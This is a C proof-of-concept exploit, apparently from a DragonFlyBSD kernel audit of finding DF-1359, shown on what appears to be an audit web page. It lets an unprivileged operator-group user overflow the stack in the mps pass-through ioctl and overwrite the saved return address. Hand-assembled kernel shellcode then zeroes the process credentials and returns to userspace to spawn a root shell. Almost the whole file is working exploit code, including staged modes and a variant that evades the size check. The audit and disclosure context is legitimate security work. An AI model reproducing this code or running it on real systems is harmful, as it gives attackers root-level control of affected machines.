⬢ DragonFlyBSD Kernel Audit
DF-1359 / df1359rig_trigger.c
← back to finding ↓ download raw
/*
 * DF-1359 pass-3 trigger -- drives the REAL production mps ioctl
 * handler (dispatched by the df1359rig KLD) as an UNPRIVILEGED
 * operator-group user, over a 0640 root:operator node opened O_RDONLY,
 * exactly like /dev/mpsN on hardware.
 *
 * Frame geometry of the shipped kernel's mps_user_pass_thru
 * (0xffffffff805b0be0, proven by disassembly):
 *     tmphdr at rbp-0x3c (copyin site +0x7b), prologue pushes
 *     r15,r14,r13,r12,rbx then subs 0x28; epilogue (+0x62d)
 *     lea -0x28(%rbp),%rsp ; pop rbx,r12,r13,r14,r15,rbp ; ret
 *  -> saved RIP slot at &tmphdr + 0x44 (identical to the mpr twin).
 *
 * Modes:
 *   probe   RequestSize=132 (> facts->IOCRequestFrameSize*4 = 128, so
 *           the post-hoc check rejects it -- but only AFTER the
 *           copyin already wrote 120 bytes past the 12-byte tmphdr,
 *           through saved rbx/r12/r13/r14/r15/rbp and the saved RIP).
 *           payload[0x44] = address of kernel shellcode in this
 *           process (no SMEP).  Shellcode zeroes the cred uid/gid
 *           fields of curthread's process and iretq's back to a
 *           userspace continuation.  Success: uid=0.
 *   evaded  RequestSize=96 (<= 128: the post-hoc check PASSES) with
 *           Function != TASK_MGMT: takes the ENOMEM command-allocation
 *           path (free-list head at sc+0xd0 is NULL in the fabricated
 *           softc) and returns through the smashed RIP -> same
 *           shellcode.  Proves sizes the post-hoc check ACCEPTS still
 *           smash the frame.
 *   rip     RequestSize=132, saved RIP = 0x4142434445464748 ->
 *           controlled non-canonical jump -> fatal trap.
 *   smash   RequestSize=4096, spray 0x4142434445464748 through the
 *           whole copy (the unbounded smash) -> fatal trap with the
 *           attacker tag as frame pointer.
 *
 * On a FIXED kernel (fix.diff), probe/rip/smash return EINVAL with
 * zero bytes copied and evaded returns ENOMEM -- the ioctl syscall
 * RETURNS, which it never does on the vulnerable kernel in probe mode.
 */
#include <sys/types.h>
#include <sys/ioccom.h>
#include <sys/sysctl.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

typedef struct mps_pass_thru {
	uint64_t	PtrRequest;
	uint64_t	PtrReply;
	uint64_t	PtrData;
	uint32_t	RequestSize;
	uint32_t	ReplySize;
	uint32_t	DataSize;
	uint32_t	DataDirection;
	uint64_t	PtrDataOut;
	uint32_t	DataOutSize;
	uint32_t	Timeout;
} mps_pass_thru_t;

#define	MPS_PASS_THRU_DIRECTION_NONE	0
#define	MPTIOCTL_PASS_THRU	_IOWR('I', 4, mps_pass_thru_t)

#define	SC_PAGE		0x10000000UL	/* RWX shellcode page */
#define	SC_STACK	0x20008000UL	/* continuation stack top */
#define	PL_PAGE		0x30000000UL	/* payload buffer */

#define	RIP_OFF		0x44	/* saved RIP offset from &tmphdr
				 * (mps: 5 pushes + sub 0x28, tmphdr at
				 * rbp-0x3c -- from disassembly) */

static void die(const char *s) { perror(s); exit(1); }

static unsigned long
sysctl_ul(const char *name)
{
	unsigned long v = 0;
	size_t l = sizeof(v);

	if (sysctlbyname(name, &v, &l, NULL, 0) != 0)
		die(name);
	return (v);
}

static uint8_t sc_page[0x1000];
static size_t sc_len;

static void
emit(const void *b, size_t n)
{
	memcpy(sc_page + sc_len, b, n);
	sc_len += n;
}

static void
emit_mov_rdi_rax_disp32(uint32_t off)		/* mov rdi,[rax+off] */
{
	uint8_t i[] = { 0x48, 0x8b, 0xb8 };
	emit(i, 3);
	emit(&off, 4);
}

static void
emit_mov_rdi_rdi_disp32(uint32_t off)		/* mov rdi,[rdi+off] */
{
	uint8_t i[] = { 0x48, 0x8b, 0xbf };
	emit(i, 2 + 1);
	emit(&off, 4);
}

static void
emit_mov0_rdi_disp32(uint32_t off)		/* mov dword [rdi+off],0 */
{
	uint8_t i[] = { 0xc7, 0x87 };
	uint32_t z = 0;
	emit(i, 2);
	emit(&off, 4);
	emit(&z, 4);
}

static void
emit_push_imm32(uint32_t v)			/* push imm32 */
{
	uint8_t i = 0x68;
	emit(&i, 1);
	emit(&v, 4);
}

static void
emit_mov_rax_imm64(uint64_t v)			/* mov rax,imm64; push rax */
{
	uint8_t i[2] = { 0x48, 0xb8 };
	uint8_t push_rax = 0x50;

	emit(i, 2);
	emit(&v, 8);
	emit(&push_rax, 1);
}

static void
rig_continuation(void)
{
	/*
	 * Reached via the shellcode's iretq: fresh stack (SC_STACK-0x108),
	 * uid/gid creds already zeroed by the kernel shellcode.  Never
	 * returns (no return address on the stack).
	 */
	uid_t u = getuid();
	gid_t g = getgid();

	printf("DF1359_CONTINUATION: getuid=%d getgid=%d (pid %d)\n",
	    u, g, getpid());
	fflush(stdout);
	if (u == 0) {
		printf("DF1359_ROOT: uid=0 achieved, launching root shell\n");
		fflush(stdout);
		execl("/bin/sh", "sh", "-c",
		    "id; echo DF1359_SHELL uid=`id -u`", NULL);
		/* NOTREACHED unless execl fails */
	}
	printf("DF1359_CONTINUATION: not root, exiting\n");
	fflush(stdout);
	_exit(3);
}

int
main(int argc, char **argv)
{
	const char *mode = (argc > 1) ? argv[1] : "probe";
	mps_pass_thru_t pt;
	unsigned long tag = 0x4142434445464748UL;
	unsigned char *payload, *scaddr, *ustack;
	unsigned short cs, ss;
	unsigned long o_ct, o_tp, o_pu, o_cu, o_cru, o_csu, o_cg, o_crg,
	    o_csg;
	uint32_t reqsize = 76;
	int fd, rc;

	memset(&pt, 0, sizeof(pt));

	if (strcmp(mode, "tag") == 0) {
		printf("%#lx\n", tag);
		return (0);
	}

	/* fixed mappings (no SMEP: kernel can execute user pages) */
	scaddr = mmap((void *)SC_PAGE, 0x1000, PROT_READ | PROT_WRITE |
	    PROT_EXEC, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
	if (scaddr != (void *)SC_PAGE)
		die("mmap sc");
	ustack = mmap((void *)(SC_STACK - 0x10000), 0x10000, PROT_READ |
	    PROT_WRITE, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
	if (ustack != (void *)(SC_STACK - 0x10000))
		die("mmap stack");
	payload = mmap((void *)PL_PAGE, 0x10000, PROT_READ | PROT_WRITE,
	    MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
	if (payload != (void *)PL_PAGE)
		die("mmap payload");

	__asm __volatile("movw %%cs,%0" : "=r" (cs));
	__asm __volatile("movw %%ss,%0" : "=r" (ss));

	/* offsets published by the rig (computed from the real headers) */
	o_ct = sysctl_ul("kern.df1359rig_o_gd_curthread");
	o_tp = sysctl_ul("kern.df1359rig_o_td_proc");
	o_pu = sysctl_ul("kern.df1359rig_o_p_ucred");
	o_cu = sysctl_ul("kern.df1359rig_o_cr_uid");
	o_cru = sysctl_ul("kern.df1359rig_o_cr_ruid");
	o_csu = sysctl_ul("kern.df1359rig_o_cr_svuid");
	o_cg = sysctl_ul("kern.df1359rig_o_cr_groups");
	o_crg = sysctl_ul("kern.df1359rig_o_cr_rgid");
	o_csg = sysctl_ul("kern.df1359rig_o_cr_svgid");

	printf("mode=%s cs=%#x ss=%#x off: ct=%lu tp=%lu pu=%lu uid=%lu "
	    "ruid=%lu svuid=%lu grp=%lu rgid=%lu svgid=%lu\n",
	    mode, cs, ss, o_ct, o_tp, o_pu, o_cu, o_cru, o_csu, o_cg,
	    o_crg, o_csg);
	fflush(stdout);

	/*
	 * Build the kernel shellcode: gs:0 -> globaldata -> curthread ->
	 * proc -> ucred; zero the uid/gid fields; swapgs + iretq to the
	 * userspace continuation.  iretq frame is built in push order:
	 * ss, rsp, rflags, cs, rip.
	 *
	 * Staged modes for isolating the chain:
	 *   stage0  ud2 only                    (can CPL0 execute user page?)
	 *   stage1  cred patch, then ud2        (is the gs walk correct?)
	 *   stage2  swapgs+iretq only, no cred  (is the transition correct?)
	 *   probe   full chain
	 */
	{
		uint8_t mov_rax_gs0[] = { 0x65, 0x48, 0x8b, 0x04, 0x25,
		    0x00, 0x00, 0x00, 0x00 };			/* mov rax,[gs:0] */
		uint8_t swapgs[] = { 0x0f, 0x01, 0xf8 };		/* swapgs */
		uint8_t iretq[] = { 0x48, 0xcf };		/* iretq */
		uint8_t ud2[] = { 0x0f, 0x0b };			/* ud2 */
		int stage = 3;

		if (strcmp(mode, "stage0") == 0)
			stage = 0;
		else if (strcmp(mode, "stage1") == 0)
			stage = 1;
		else if (strcmp(mode, "stage2") == 0)
			stage = 2;
		else if (strcmp(mode, "stageA") == 0)
			stage = 10;	/* gs load, then ud2 */
		else if (strcmp(mode, "stageB") == 0)
			stage = 11;	/* full walk, no writes, ud2 */

		sc_len = 0;
		if (stage == 0) {
			emit(ud2, sizeof(ud2));
		} else if (stage == 10) {
			emit(mov_rax_gs0, sizeof(mov_rax_gs0));
			emit(ud2, sizeof(ud2));
		} else if (stage == 11) {
			emit(mov_rax_gs0, sizeof(mov_rax_gs0));
			emit_mov_rdi_rax_disp32((uint32_t)o_ct);
			emit_mov_rdi_rdi_disp32((uint32_t)o_tp);
			emit_mov_rdi_rdi_disp32((uint32_t)o_pu);
			emit(ud2, sizeof(ud2));
		} else {
			if (stage == 2) {
				/* skip the cred walk, transition only */
			} else {
				emit(mov_rax_gs0, sizeof(mov_rax_gs0));
				emit_mov_rdi_rax_disp32((uint32_t)o_ct);
				emit_mov_rdi_rdi_disp32((uint32_t)o_tp);
				emit_mov_rdi_rdi_disp32((uint32_t)o_pu);
				emit_mov0_rdi_disp32((uint32_t)o_cu);
				emit_mov0_rdi_disp32((uint32_t)o_cru);
				emit_mov0_rdi_disp32((uint32_t)o_csu);
				emit_mov0_rdi_disp32((uint32_t)o_cg);
				emit_mov0_rdi_disp32((uint32_t)o_crg);
				emit_mov0_rdi_disp32((uint32_t)o_csg);
			}
			if (stage == 1) {
				emit(ud2, sizeof(ud2));
			} else {
				emit(swapgs, sizeof(swapgs));
				emit_push_imm32((uint32_t)ss);	/* frame: ss */
				emit_mov_rax_imm64(SC_STACK - 0x108);	/* rsp%16==8: SysV ABI */
							/* frame: rsp */
				emit_push_imm32(0x202);	/* frame: rflags (IF) */
				emit_push_imm32((uint32_t)cs); /* frame: cs */
				emit_mov_rax_imm64(
				    (uint64_t)(uintptr_t)rig_continuation);
							/* frame: rip */
				emit(iretq, sizeof(iretq));
			}
		}
	}

	memcpy(scaddr, sc_page, sc_len);
	printf("shellcode: %zu bytes at %p\n", sc_len, scaddr);
	for (size_t i = 0; i < sc_len; i++) {
		printf("%02x", sc_page[i]);
		if ((i & 15) == 15)
			printf("\n");
	}
	printf("\n");
	fflush(stdout);
	{
		int dfd = open("/tmp/df1359_sc.bin", O_WRONLY | O_CREAT |
		    O_TRUNC, 0644);
		if (dfd >= 0) {
			write(dfd, sc_page, sc_len);
			close(dfd);
		}
	}
	if (strcmp(mode, "dump") == 0)
		return (0);

	/* payload construction */
	memset(payload, 0, 0x10000);
	if (strcmp(mode, "smash") == 0) {
		for (size_t i = 0; i + 8 <= 0x10000; i += 8)
			memcpy(payload + i, &tag, 8);
		reqsize = 4096;
	} else if (strcmp(mode, "rip") == 0) {
		memcpy(payload + RIP_OFF, &tag, 8);
		reqsize = 132;	/* > 128: EINVAL path taken AFTER
				 * the 120-byte OOB smash already hit the
				 * saved RIP slot */
	} else if (strncmp(mode, "stage", 5) == 0) {
		uint64_t tgt = SC_PAGE;
		memcpy(payload + RIP_OFF, &tgt, 8);
		reqsize = 132;
	} else if (strcmp(mode, "evaded") == 0) {
		uint64_t tgt = SC_PAGE;
		memcpy(payload + RIP_OFF, &tgt, 8);
		payload[3] = 0x20;	/* Function (!= TASK_MGMT=0x01):
					 * takes the mps_alloc_command
					 * path, which fails ENOMEM on the
					 * command-less softc (free-list
					 * head at sc+0xd0 == NULL) and
					 * RETURNS through the smashed RIP */
		reqsize = 96;	/* <= 128: post-hoc check PASSES,
				 * yet bytes 12..95 are still OOB writes */
	} else {		/* probe */
		uint64_t tgt = SC_PAGE;
		memcpy(payload + RIP_OFF, &tgt, 8);
		reqsize = 132;
	}

	pt.PtrRequest = PL_PAGE;
	pt.RequestSize = reqsize;
	pt.DataSize = 0;
	pt.DataDirection = MPS_PASS_THRU_DIRECTION_NONE;
	pt.Timeout = 30;

	fd = open("/dev/df1359rig", O_RDONLY);	/* operator's group bit r-- */
	if (fd < 0) {
		printf("open(/dev/df1359rig): %s (uid=%d euid=%d)\n",
		    strerror(errno), getuid(), geteuid());
		return (2);
	}
	printf("open ok fd=%d, ioctl MPTIOCTL_PASS_THRU (%#lx) "
	    "RequestSize=%u\n", fd, (unsigned long)MPTIOCTL_PASS_THRU,
	    reqsize);
	fflush(stdout);
	rc = ioctl(fd, MPTIOCTL_PASS_THRU, &pt);
	printf("ioctl returned rc=%d errno=%d (%s) -- FIXED-KERNEL BEHAVIOR "
	    "(vulnerable kernel never returns here in %s mode)\n",
	    rc, errno, strerror(errno), mode);
	fflush(stdout);
	close(fd);
	return (0);
}